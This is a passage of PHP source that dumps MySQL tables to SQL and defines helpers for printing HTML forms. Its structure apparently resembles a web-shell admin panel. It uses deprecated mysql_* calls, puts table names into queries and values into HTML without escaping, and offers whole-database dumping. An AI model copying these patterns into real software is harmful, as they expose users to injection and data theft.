920$tabledump .= ",\n";
921} else {
922$firstfield=0;
923}
924$tabledump .= " $field[Field] $field[Type]";
925if (!empty($field["Default"])) {
926$tabledump .= " DEFAULT '$field[Default]'";
927}
928if ($field['Null'] != "YES") {
929$tabledump .= " NOT NULL";
930}
931if ($field['Extra'] != "") {
932$tabledump .= " $field[Extra]";
933}
934}
935fr($fields);
936$keys = q("SHOW KEYS FROM $table");
937while ($key = mysql_fetch_array($keys)) {
938$kname=$key['Key_name'];
939if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
940$kname="UNIQUE|$kname";
941}
942if(!is_array($index[$kname])) {
943$index[$kname] = array();
944}
945$index[$kname][] = $key['Column_name'];
946}
947fr($keys);
948
949while(list($kname, $columns) = @each($index)) {
950$tabledump .= ",\n";
951$colnames=implode($columns,",");
952
953if ($kname == "PRIMARY") {
954$tabledump .= " PRIMARY KEY ($colnames)";
955} else {
956if (substr($kname,0,6) == "UNIQUE") {
957$kname=substr($kname,7);
958}
959$tabledump .= " KEY $kname ($colnames)";
960}
961}
962
963$tabledump .= "\n);\n\n";
964if ($fp) {
965fwrite($fp,$tabledump);
966} else {
967echo $tabledump;
968}
969
970$rows = q("SELECT * FROM $table");
971$numfields = mysql_num_fields($rows);
972while ($row = mysql_fetch_array($rows)) {
973$tabledump = "INSERT INTO $table VALUES(";
974
975$fieldcounter=-1;
976$firstfield=1;
977while (++$fieldcounter<$numfields) {
978if (!$firstfield) {
979$tabledump.=", ";
980} else {
981$firstfield=0;
982}
983
984if (!isset($row[$fieldcounter])) {
985$tabledump .= "NULL";
986} else {
987$tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
988}
989}
990$tabledump .= ");\n";
991if ($fp) {
992fwrite($fp,$tabledump);
993} else {
994echo $tabledump;
995}
996}
997fr($rows);
998if ($fp) {
999fwrite($fp,"\n");
1000} else {
1001echo "\n";
1002}
1003}
1004
1005function ue($str){
1006return urlencode($str);
1007}
1008
1009function p($str){
1010echo $str."\n";
1011}
1012
1013function tbhead() {
1014p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
1015}
1016function tbfoot(){
1017p('</table>');
1018}
1019
1020function makehide($name,$value=''){
1021p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
1022}
1023
1024function makeinput($arg = array()){
1025$arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
1026$arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
1027!$arg['type'] && $arg['type'] = 'text';
1028$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
1029$arg['class'] = $arg['class'] ? $arg['class'] : 'input';
1030if ($arg['newline']) {
1031p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
1032} else {
1033p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
1034}
1035}
1036
1037function makeselect($arg = array()){
1038if ($arg['onchange']) {
1039$onchange = 'onchange="'.$arg['onchange'].'"';
1040}
1041$arg['title'] = $arg['title'] ? $arg['title'] : '';
1042if ($arg['newline']) p('<p>');
1043p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
1044if (is_array($arg['option'])) {
1045foreach ($arg['option'] as $key=>$value) {
1046if ($arg['selected']==$key) {
1047p("<option value=\"$key\" selected>$value</option>");
1048} else {
1049p("<option value=\"$key\">$value</option>");
1050}
1051}
1052}
1053p("</select>");
1054if ($arg['newline']) p('</p>');
1055}
1056function formhead($arg = array()) {
1057!$arg['method'] && $arg['method'] = 'post';
1058!$arg['action'] && $arg['action'] = $self;
1059$arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
1060!$arg['name'] && $arg['name'] = 'form1';
1061p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
1062if ($arg['title']) {
1063p('<h2>'.$arg['title'].' »</h2>');
1064}
1065}
1066
1067function maketext($arg = array()){
1068!$arg['cols'] && $arg['cols'] = 100;
1069!$arg['rows'] && $arg['rows'] = 25;
1070$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
1071p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
1072}
1073
1074function formfooter($name = ''){
1075!$name && $name = 'submit';
1076p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
1077p('</form>');
1078}
1079
1080function formfoot(){
1081p('</form>');
1082}
1083
1084function pr($a) {
1085echo '<pre>';
1086print_r($a);
1087echo '</pre>';
1088}
1089?>